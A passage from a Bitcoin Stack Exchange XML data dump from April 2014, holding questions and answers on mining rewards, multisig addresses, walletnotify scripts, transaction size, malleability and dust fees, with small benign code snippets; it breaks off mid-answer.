  <row Id="24843" PostTypeId="2" ParentId="24842" CreationDate="2014-04-23T17:00:54.177" Score="8" Body="&lt;p&gt;It is a lot of work and it requires a lot of computing power.  To get the 25 BTC reward for a block (also known as the coinbase reward), you have to create the block in the first place.  It is difficult to create blocks.  A valid block will have to meet a large number of conditions, including that its header has a 256-bit hash whose numerical value is under a certain target.  The target generally gets lower (more difficult) over time as more people try to create blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the hash function is hard to reverse, you basically have to brute force it, trying many different possible variations on the data in the block and computing the hash of each one, until you find a block whose hash is low enough.  If you are lucky, you will find such a block.  Then you would broadcast that block to the world, and since you created the block it will contain a transaction giving the coinbase reward to your own address.  This process of calculating hashes and making new blocks is called &lt;strong&gt;mining&lt;/strong&gt; and it is almost impossible to make money doing it yourself these days, so you would have to join a mining pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A miner confirms transactions by creating a block and including transactions in them.  The new block contains a hash of the previous block, so it also serves as an extra confirmation for all the previous blocks in the chain and all the transactions in them.&lt;/p&gt;&#xA;" OwnerUserId="6091" LastEditorUserId="6091" LastEditDate="2014-04-23T21:14:38.893" LastActivityDate="2014-04-23T21:14:38.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24846" PostTypeId="2" ParentId="24794" CreationDate="2014-04-23T17:25:41.957" Score="5" Body="&lt;p&gt;&lt;em&gt;My understanding is that one needs the private keys of Adres1 and Adres2 to be able to spend from MultiSigAddress. Is this correct?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Yes that is correct&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;What if one of the addresses belonged to someone else? How could I use the funds on MultiSigAddres using Bitcoin Core in that case?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You will need the private key for both addresses (public keys) in order to redeem funds from the multisig address.  So you will either need to have the owner of the other address sign the the redeeming transaction or have them give you the private key so you can sign it.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Thirdly, the address I created in this case is 2 out of 2. What if I wanted to create an address that is 2 out of 3? How can I create that using Bitcoin Core? Or is that only possible for multi-sig transactions?&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The following bitcoin core command will create a 2-of-3 multisig address,&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;createmultisig 2 '[&quot;key1&quot;,&quot;key2&quot;,&quot;key3&quot;]'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can view the full list of commands &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list#Full_list&quot; rel=&quot;noreferrer&quot; title=&quot;here&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="14431" LastActivityDate="2014-04-23T17:25:41.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24849" PostTypeId="2" ParentId="24842" CreationDate="2014-04-23T18:51:37.470" Score="9" Body="&lt;p&gt;Just to give some specifics in addition to David Grayson's answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At current difficulty levels, mining a block requires computing an average of&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;29,973,900,941,385,007,104&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;hash operations.  An ordinary computer can perform perhaps 10,000,000 such operations per second.  At that rate, such a computer would take about 95,046 years to mine one block, on average.  If the computer draws 100 watts of electricity, it would use 3,469,201 kilowatt-hours of electricity over that time.  Electrity prices are somewhere around US $0.10 per kWh, so that would cost US $346,920 in electricity alone - much &lt;em&gt;more&lt;/em&gt; than the $12,325 of the block reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For obvious reasons, most miners today don't use ordinary computers, but rather specialized ASIC hardware that is considerably more efficient (and more expensive) than an ordinary computer.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-23T18:51:37.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24850" PostTypeId="2" ParentId="24842" CreationDate="2014-04-23T19:07:16.110" Score="4" Body="&lt;p&gt;Besides confirming the transactions in the block (which prevents the corresponding funds from being double-spent) the new block also adds to the security of all previous blocks since altering any block in the chain requires altering it and all subsequent blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my mind that it what justifies the reward.&lt;/p&gt;&#xA;" OwnerUserId="9654" LastActivityDate="2014-04-23T19:07:16.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24851" PostTypeId="1" AcceptedAnswerId="24860" CreationDate="2014-04-23T19:22:43.570" Score="2" ViewCount="736" Body="&lt;p&gt;Few questions about Walletnotify under win:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)  Is this the rigt way to write .py script into litecoin.conf: walletnotify=C:\Python27\python.exe D:\LiVe\listener.py %s&#xA;If not, how it should be modified?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Walletnotify gives txid as an %s, txid contains number of confirmations. So here is question, at which point happens call to script, on 0 confirmations, on 1, on 1-3(meaning script will be called three times on transaction, when it gets 1,2 and 3 confirmations? On each confirmations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Is there a way to transfer small ltc to own wallets account without transfer fees, because at the moment i have exactly 0 ltc, thus denying me to just test 2 in peace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="15398" LastActivityDate="2014-04-23T22:01:16.697" Title="Walletnotify under windows" Tags="|development|wallet-notify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24852" PostTypeId="2" ParentId="24835" CreationDate="2014-04-23T19:26:45.903" Score="1" Body="&lt;p&gt;Im not able to comment, thats why I am answering it, in addition to reiven's answer. Bitcoinwisdom is indeed a very good site to watch the BTC trend, and you can watch different markets against different currencies. However, there are even more markets you can see. For example the site for the Blackcoin vs Bitcoin market on mintpal is the &lt;a href=&quot;https://bitcoinwisdom.com/markets/mintpal/bcbtc&quot; rel=&quot;nofollow&quot;&gt;following&lt;/a&gt;. The Dogecoin vs Bitcoin on crypsty is &lt;a href=&quot;https://bitcoinwisdom.com/markets/cryptsy/dogebtc&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-04-23T19:26:45.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24853" PostTypeId="2" ParentId="24832" CreationDate="2014-04-23T19:39:05.067" Score="0" Body="&lt;p&gt;I think I found solution to problem.. if someone will find it helpful, to get senders address for python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import json&#xA;import bitcoinrpc&#xA;conn = bitcoinrpc.connect_to_remote('username', 'password', host='127.0.0.1', port=9332)&#xA;accounts=conn.listaccounts()&#xA;for a in accounts:&#xA;        name=json.dumps(a)&#xA;        name = name[1:-1]&#xA;&#xA;        #print name&#xA;        tran=conn.listtransactions(name)&#xA;        for t in tran:&#xA;            act=t&#xA;            txid=t.txid&#xA;            raw=conn.getrawtransaction(txid,0)&#xA;            dec=conn.decoderawtransaction(raw)&#xA;            vin=dec['vin'][0]['txid']&#xA;            raw=conn.getrawtransaction(vin,0)&#xA;            dec=conn.decoderawtransaction(raw)&#xA;            vout=dec['vout']&#xA;            print json.dumps(vout[0]['scriptPubKey']['addresses'])[2:-2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also, in config add &lt;strong&gt;txindex=1&lt;/strong&gt; and run &lt;strong&gt;litecoind -reindex&lt;/strong&gt; from cmdline&lt;/p&gt;&#xA;" OwnerUserId="15398" LastActivityDate="2014-04-23T19:39:05.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24854" PostTypeId="1" AcceptedAnswerId="24864" CreationDate="2014-04-23T19:40:13.087" Score="5" ViewCount="138" Body="&lt;p&gt;I'm looking to track transactions in a non-malleable way. To achieve this I've read the recommendations in this &lt;a href=&quot;https://bitcoin.stackexchange.com/a/22170/13899&quot;&gt;answer&lt;/a&gt;, but I don't understand how the order of transaction inputs isn't malleable. It's my understanding that each separate input is signed by the private key it's address is associated with, and thus a malleability attack could just swap the order of inputs and a tracking hash dependent a specific order would be rendered useless. Am I missing something here?&lt;/p&gt;&#xA;" OwnerUserId="13899" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-04-24T00:56:14.027" Title="Is the order of transaction inputs malleable?" Tags="|transaction-malleability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24855" PostTypeId="1" CreationDate="2014-04-23T20:45:14.343" Score="5" ViewCount="1465" Body="&lt;p&gt;How to calculate transaction size from its hex-encoded representation, so i can include transaction fees per kb ?&lt;/p&gt;&#xA;" OwnerUserId="12049" LastActivityDate="2014-04-23T23:16:11.143" Title="Is it possible to calculate TX size from its hex?" Tags="|transactions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24856" PostTypeId="2" ParentId="24855" CreationDate="2014-04-23T21:20:06.857" Score="2" Body="&lt;p&gt;If your hex string looks something like &quot;12abcd&quot; then it uses two hex characters per byte.  Just take the length of the hex string, divide it by two to get the number of bytes in the transaction, and then divide by 1024 to get the number of KiB.&lt;/p&gt;&#xA;" OwnerUserId="6091" LastActivityDate="2014-04-23T21:20:06.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24857" PostTypeId="2" ParentId="23934" CreationDate="2014-04-23T21:31:26.797" Score="-1" Body="&lt;pre&gt;&lt;code&gt;#include &amp;lt;string&amp;gt;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;std::string exec(char* cmd) {&#xA;    FILE* pipe = popen(cmd, &quot;r&quot;);&#xA;    if (!pipe) return &quot;ERROR&quot;;&#xA;    char buffer[128];&#xA;    std::string result = &quot;&quot;;&#xA;    while(!feof(pipe)) {&#xA;        if(fgets(buffer, 128, pipe) != NULL)&#xA;            result += buffer;&#xA;    }&#xA;    pclose(pipe);&#xA;    return result;&#xA;}&#xA;&#xA;int main(){&#xA;    int count;&#xA;    count = stoi(exec(&quot;bitcoind getblockcount&quot;));&#xA;    for(;;){&#xA;        int new_count = stoi(exec(&quot;bitcoind getblockcount&quot;));&#xA;        while(count &amp;lt; new_count){&#xA;            std::cout &amp;lt;&amp;lt; &quot;Block found.&quot; &amp;lt;&amp;lt; std::endl;&#xA;            count++;&#xA;        }&#xA;        system(&quot;sleep 1&quot;); // There are other ways of sleeping. This is the quick and dirty way.&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To be fair, this is a rip off of Luca's idea and &lt;a href=&quot;https://stackoverflow.com/questions/478898/how-to-execute-a-command-and-get-output-of-command-within-c&quot;&gt;https://stackoverflow.com/questions/478898/how-to-execute-a-command-and-get-output-of-command-within-c&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-04-23T21:31:26.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24859" PostTypeId="2" ParentId="24855" CreationDate="2014-04-23T21:47:29.563" Score="2" Body="&lt;p&gt;In order to get the size of the hexadecimal dump in bytes you need to convert it into an array of bytes and then get the array's length. Sample code in C#:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public static Byte[] StringToByteArray(String hex)&#xA;    {&#xA;        return Enumerable.Range(0, hex.Length)&#xA;                         .Where(x =&amp;gt; x % 2 == 0)&#xA;                         .Select(x =&amp;gt; Convert.ToByte(hex.Substring(x, 2), 16))&#xA;                         .ToArray();&#xA;    }&#xA;&#xA;   Byte[] byteArrayFromHexDump = StringToByteArray(&quot;0100000009c9ab....&quot;);&#xA;   Int32 byteArraySizeInBytes = byteArrayFromHexDump.Length;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The formula for calculating the &quot;send-to-address&quot; transaction size in bitcoin is: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(numberOfInputs * 148) + (numberOfOutputs * 34) + 10 (+/-) numberOfInputs&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, the hex contains more information that just the number of the transaction's inputs and outputs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lDyge.jpg&quot; alt=&quot;raw tx factory up to hex&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the answer to your question is no, the transaction size cannot be calculated by its hex (that also needs to be signed before it can be dispatched so we need some extra space for the signatures as well), at least not unless the hex is decoded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If decoded, then you can count the number of the &lt;code&gt;in&lt;/code&gt; and &lt;code&gt;out&lt;/code&gt; arrays' elements and calculate the transaction size with the formula provided above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow noreferrer&quot;&gt;brainwallet&lt;/a&gt; to decode a hex dump and see its contents as a human-readable JSON representation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;hash&quot;: &quot;9bf1674adaba6ffff98929ebc844f81da4b389c8b0e2fa241bec&#xA;&quot;ver&quot;: 1,&#xA;&quot;vin_sz&quot;: 9,&#xA;&quot;vout_sz&quot;: 8,&#xA;&quot;lock_time&quot;: 0,&#xA;&quot;size&quot;: 651,&#xA;&quot;in&quot;: [&#xA;    {&#xA;        &quot;prev_out&quot;: {&#xA;            &quot;hash&quot;: &quot;664720e924865cbd8f59841f671b61a642c28e93&#xA;            &quot;n&quot;: 0&#xA;        },&#xA;        &quot;scriptSig&quot;: &quot;&quot;,&#xA;        &quot;sequence&quot;: 4294967295&#xA;    },&#xA;    {&#xA;        &quot;prev_out&quot;: {&#xA;            &quot;hash&quot;: &quot;859c582f1dae337a778def754514955b83b1bdb4&#xA;            &quot;n&quot;: 1&#xA;        },&#xA;        &quot;scriptSig&quot;: &quot;&quot;,&#xA;        &quot;sequence&quot;: 4294967295&#xA;    },&#xA;    {&#xA;        &quot;prev_out&quot;: {&#xA;            &quot;hash&quot;: &quot;1afb669e147fdd376c34e92661d1ea1e2b6e6e95&#xA;            &quot;n&quot;: 1&#xA;        },&#xA;        &quot;scriptSig&quot;: &quot;&quot;,&#xA;        &quot;sequence&quot;: 4294967295&#xA;    },&#xA;    {&#xA;        &quot;prev_out&quot;: {&#xA;            &quot;hash&quot;: &quot;785991ed3f1cbe2e6e34d6beee5dbd0aca64c8b0&#xA;            &quot;n&quot;: 1&#xA;        },&#xA;        &quot;scriptSig&quot;: &quot;&quot;,&#xA;        &quot;sequence&quot;: 4294967295&#xA;    },&#xA;    {&#xA;        &quot;prev_out&quot;: {&#xA;            &quot;hash&quot;: &quot;f117fdf9ef322f9440a2d6b6fde026d99e3857b0&#xA;            &quot;n&quot;: 0&#xA;        },&#xA;        &quot;scriptSig&quot;: &quot;&quot;,&#xA;        &quot;sequence&quot;: 4294967295&#xA;    },&#xA;    {&#xA;        &quot;prev_out&quot;: {&#xA;            &quot;hash&quot;: &quot;1729de5be595a7dcdd9b1b9794f417c07298f7af&#xA;            &quot;n&quot;: 0&#xA;        },&#xA;        &quot;scriptSig&quot;: &quot;&quot;,&#xA;        &quot;sequence&quot;: 4294967295&#xA;    },&#xA;    {&#xA;        &quot;prev_out&quot;: {&#xA;            &quot;hash&quot;: &quot;835f81ee3f06971ced08f70b4a674b982448d9f8&#xA;            &quot;n&quot;: 0&#xA;        },&#xA;        &quot;scriptSig&quot;: &quot;&quot;,&#xA;        &quot;sequence&quot;: 4294967295&#xA;    },&#xA;    {&#xA;        &quot;prev_out&quot;: {&#xA;            &quot;hash&quot;: &quot;05f750e72ae0db4cc4680870f59e180aa6af3b6d&#xA;            &quot;n&quot;: 1&#xA;        },&#xA;        &quot;scriptSig&quot;: &quot;&quot;,&#xA;        &quot;sequence&quot;: 4294967295&#xA;    },&#xA;    {&#xA;        &quot;prev_out&quot;: {&#xA;            &quot;hash&quot;: &quot;25f1112ad8e673ca3594d0d2cff98e8480a67f87&#xA;            &quot;n&quot;: 0&#xA;        },&#xA;        &quot;scriptSig&quot;: &quot;&quot;,&#xA;        &quot;sequence&quot;: 4294967295&#xA;    }&#xA;],&#xA;&quot;out&quot;: [&#xA;    {&#xA;        &quot;value&quot;: &quot;1.59899677&quot;,&#xA;        &quot;scriptPubKey&quot;: &quot;OP_DUP OP_HASH160 5e27c91d971e4c8730&#xA;    },&#xA;    {&#xA;        &quot;value&quot;: &quot;3.26536812&quot;,&#xA;        &quot;scriptPubKey&quot;: &quot;OP_DUP OP_HASH160 5a71ac3a827d51b142&#xA;    },&#xA;    {&#xA;        &quot;value&quot;: &quot;2.55999483&quot;,&#xA;        &quot;scriptPubKey&quot;: &quot;OP_DUP OP_HASH160 23b7530a00dd7951e1&#xA;    },&#xA;    {&#xA;        &quot;value&quot;: &quot;64.34987007&quot;,&#xA;        &quot;scriptPubKey&quot;: &quot;OP_DUP OP_HASH160 91f13fed21eb72c7b9&#xA;    },&#xA;    {&#xA;        &quot;value&quot;: &quot;2.37899520&quot;,&#xA;        &quot;scriptPubKey&quot;: &quot;OP_DUP OP_HASH160 b46386342596a1be16&#xA;    },&#xA;    {&#xA;        &quot;value&quot;: &quot;58.07088275&quot;,&#xA;        &quot;scriptPubKey&quot;: &quot;OP_DUP OP_HASH160 dbd7e62f63bfbdd996&#xA;    },&#xA;    {&#xA;        &quot;value&quot;: &quot;38.45263760&quot;,&#xA;        &quot;scriptPubKey&quot;: &quot;OP_DUP OP_HASH160 6714f3fb946e4f9f6c&#xA;    },&#xA;    {&#xA;        &quot;value&quot;: &quot;0.95035476&quot;,&#xA;        &quot;scriptPubKey&quot;: &quot;OP_DUP OP_HASH160 6b3f14bc5722e6dcdc&#xA;    }&#xA;]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this transaction (with a 651 bytes long hex) there are 9 inputs and 8 outputs. Applying these figures to the transaction size calculation formula gives us:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(9 * 148) + (8 * 34) + 10 (+/-) 9&lt;/code&gt; = &lt;code&gt;1614 +- 9&lt;/code&gt; = &lt;code&gt;1605&lt;/code&gt; to &lt;code&gt;1623&lt;/code&gt; bytes, which is totally different from the &lt;code&gt;651&lt;/code&gt; bytes of the hex dump.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2014-04-23T23:16:11.143" LastActivityDate="2014-04-23T23:16:11.143" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24860" PostTypeId="2" ParentId="24851" CreationDate="2014-04-23T22:01:16.697" Score="1" Body="&lt;p&gt;1) Your command line looks fine. Remember that %s will be replaced by a transaction id, such as 9de5056696618f22237eb280bbefe94c1d19661de960a1f2c546a0e3a2bc4600.  So if you can run the script at the command line like this you should be ok:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Python27\python.exe D:\LiVe\listener.py 9de5056696618f22237eb280bbefe94c1d19661de960a1f2c546a0e3a2bc4600&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) The transaction id by itself does not contain the number of confirmations.  To get the number of confirmations, you'll have to look up the transaction yourself.  You can either use an external service like &lt;a href=&quot;http://blockchain.info/api/blockchain_api&quot; rel=&quot;nofollow&quot;&gt;blockchain.info's API&lt;/a&gt;, or call bitcoind's &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;GetTransaction&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WalletNotify will fire twice for each transaction: the first time that the transaction appears on the network and the first time that a block is published that contains that transaction.  There are no notifications on subsequent confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) If you want to move coins between accounts within a wallet, you can use the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;move&lt;/a&gt; command.  But if you are going to publish the transaction in the blockchain (i.e. send from one address to another, even within the same wallet) then you may have to add a &lt;a href=&quot;http://bitcoinfees.com/&quot; rel=&quot;nofollow&quot;&gt;transaction fee&lt;/a&gt;, depending on your inputs.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-04-23T22:01:16.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24861" PostTypeId="2" ParentId="24854" CreationDate="2014-04-23T23:10:19.027" Score="0" Body="&lt;p&gt;I have a feeling you are missing the index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each input is actually a transaction output from a previous transaction. The whole previous transaction is identified by the transaction hash, however the previous transaction can be paying to one or more addresses. Usually you control at least one of those addresses and so when you make a payment your software is &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;identifying the (hopefully already confirmed) transaction&lt;/li&gt;&#xA;&lt;li&gt;identifying the index of the payment (ie &lt;em&gt;your&lt;/em&gt; address) which you will use coins from&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Point 2 is not malleable, the index is specific to the previous transaction. However you are able to compile your payment transaction in any order you choose, before it gets signed, and becomes your output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has nothing to do with the transaction malleability issue though.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-04-23T23:10:19.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24862" PostTypeId="2" ParentId="24816" CreationDate="2014-04-23T23:12:05.773" Score="1" Body="&lt;p&gt;There is no reason to use multiple cold storage wallets, but either way, offline-generated keys and a full sweep upon spending is enough to keep your funds completely safe. When the time comes, don't try to &quot;test&quot; moving funds &lt;strong&gt;out&lt;/strong&gt; of cold storage. Do the full sweep.&#xA;Also see this&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/13843/if-my-wallet-is-sufficiently-secure-can-i-ever-lose-my-coins&quot;&gt;if my wallet is sufficiently secure, can I ever lose my coins?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7144" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-04-23T23:12:05.773" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24863" PostTypeId="2" ParentId="24838" CreationDate="2014-04-23T23:32:30.870" Score="-1" Body="&lt;p&gt;There are no other transactions in the Genesis block. For all intents nothing in that block is worthwhile inquiring information about. &lt;/p&gt;&#xA;" OwnerUserId="13413" LastActivityDate="2014-04-23T23:32:30.870" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24864" PostTypeId="2" ParentId="24854" CreationDate="2014-04-24T00:26:05.363" Score="5" Body="&lt;p&gt;The signature associated with an input doesn't just sign that input, it signs the entire transaction payload - basically every part of the transaction except the signatures themselves. (Technically, it appears to actually sign a hash of a serialized version of the transaction.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has to be that way. Otherwise, you could take someone else's signed transaction and modify the outputs to pay it to yourself instead of the intended recipient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you modify the order of the inputs, you modify the signed payload. The signatures will no longer verify and the modified transaction will not be accepted as valid by anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The malleable transaction attack worked by modifying the signature itself to a different but still valid alternate version. The payload of the transaction never changed.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2014-04-24T00:56:14.027" LastActivityDate="2014-04-24T00:56:14.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24866" PostTypeId="1" AcceptedAnswerId="24952" CreationDate="2014-04-24T04:50:28.700" Score="1" ViewCount="107" Body="&lt;p&gt;I want to make an altcoin and since I am new, I wanted to know what sets the reward of a block after being mined.&lt;/p&gt;&#xA;" OwnerUserId="15435" LastActivityDate="2014-04-28T11:39:11.917" Title="In what line of what file does the block reward depend on?" Tags="|development|block|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24867" PostTypeId="2" ParentId="12364" CreationDate="2014-04-24T06:51:02.490" Score="-1" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$url = &quot;https://bitpay.com/api/rates&quot;;&#xA;$json = file_get_contents($url);&#xA;$data = json_decode($json, TRUE);&#xA;$rate = $data[0][&quot;rate&quot;];&#xA;$rate1 = $data[1][&quot;rate&quot;];&#xA;$rate2 = $data[2][&quot;rate&quot;];&#xA;$rate145 = $data[145][&quot;rate&quot;];&#xA;?&amp;gt;&#xA;BTC/USD: &amp;lt;?=$rate?&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;BTC/EURO: &amp;lt;?=$rate1?&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;BTC/GBP: &amp;lt;?=$rate2?&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;BTC/VND : &amp;lt;?=$rate145?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I edited the code from first answer and this one is work well&lt;/p&gt;&#xA;" OwnerUserId="15437" LastActivityDate="2014-04-24T06:51:02.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24868" PostTypeId="2" ParentId="23090" CreationDate="2014-04-24T10:10:25.310" Score="1" Body="&lt;p&gt;You cannot cancel an unconfirmed transaction. When a transaction has been transmitted to the chain, it's unstoppable. Luckily everything went well for you I see, and it was probably an error on blockchain.info, as pointed out in the comments. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-04-24T10:10:25.310" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24869" PostTypeId="1" AcceptedAnswerId="24887" CreationDate="2014-04-24T12:18:31.647" Score="5" ViewCount="1089" Body="&lt;p&gt;So my service is skimming a tiny 0,001% (1/1,000) fee off every payment that gets through it. Most of the transactions are actually micro-payments so there are thousands of tiny unspent outputs accumulating in the service's wallet. I'm worried now that I will not be able to spent these outputs without having to pay a load of transaction fees and wait for eternity for this payment to clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The average btc value of my unspent outputs that come out of the commissions is 100 satoshis (0,000001 btc). That means that if I want to cash out 100 btc, I need to spend on average 100,000,000 of these outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1195/how-to-calculate-transaction-size-before-sending&quot;&gt;How to calculate transaction size before sending&lt;/a&gt; the transaction size is: in*148 + out*34 + 10 plus or minus 'in', which makes my withdrawal equal to: 100,000,000*148 + 2*34 + 10 + 100,000,000 = 14,900,000,078 bytes = 14,9 GB ?! (am I missing something here?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The maximum block size is 1 MB so I will need to split this transaction in more than 14,900 transactions of 1,000 kB each ?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction fee of 0.0001 btc per kB is required, so I will need to spend 0,0001 * 1,000 =  0,1 btc for each of these 14,900 transactions which means I will need at least 1,490 btc (to send 100 btc), which is roughly 15 times the amount I'm trying to send!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All these 14,900 transactions will need to be included on different blocks (since they would exceed the maximum block size otherwise) and since one block is found every 10 minutes on average, I will need to wait 14,900 * 10 minutes = 149,000 minutes = 2,483 hours = 103 days = 3 months and a half ?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me I got this all wrong. I've really freaked out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit1: Thanks to Nate Eldredge for pointing out an error in the calculations.&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-10-31T01:00:35.090" Title="1,500% transaction fee and 3,5 months to confirm?" Tags="|transaction-fees|dust|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24871" PostTypeId="2" ParentId="24834" CreationDate="2014-04-24T13:23:15.320" Score="1" Body="&lt;p&gt;You do not own a LTC-address (or BTC, or any other altcoin) on cryptsy or any other virtual currency exchange site. You can however see your balance of all crypto currencies in the 'Balance' tab. When you scroll down, you will see the LiteCoin with your current available balance and the balance that is in possible orders. If you want to have your LTC in an address, you should download an LTC-wallet app, and create a wallet in there, and then withdraw (from cryptsy) to that wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And your second question: yes, cryptsy is a crypto currency exchange. So far there is no option to trade in any real currency, but I see that option is coming in a week or so, because this text is above the BTC/USD market&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This market is for Verified Accounts Only. The User Verifications system will open within the next week.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyhow, what happens when you withdraw LTC to your own wallet, is that cryptsy looks at deposit wallets (for other people) they own. For example person 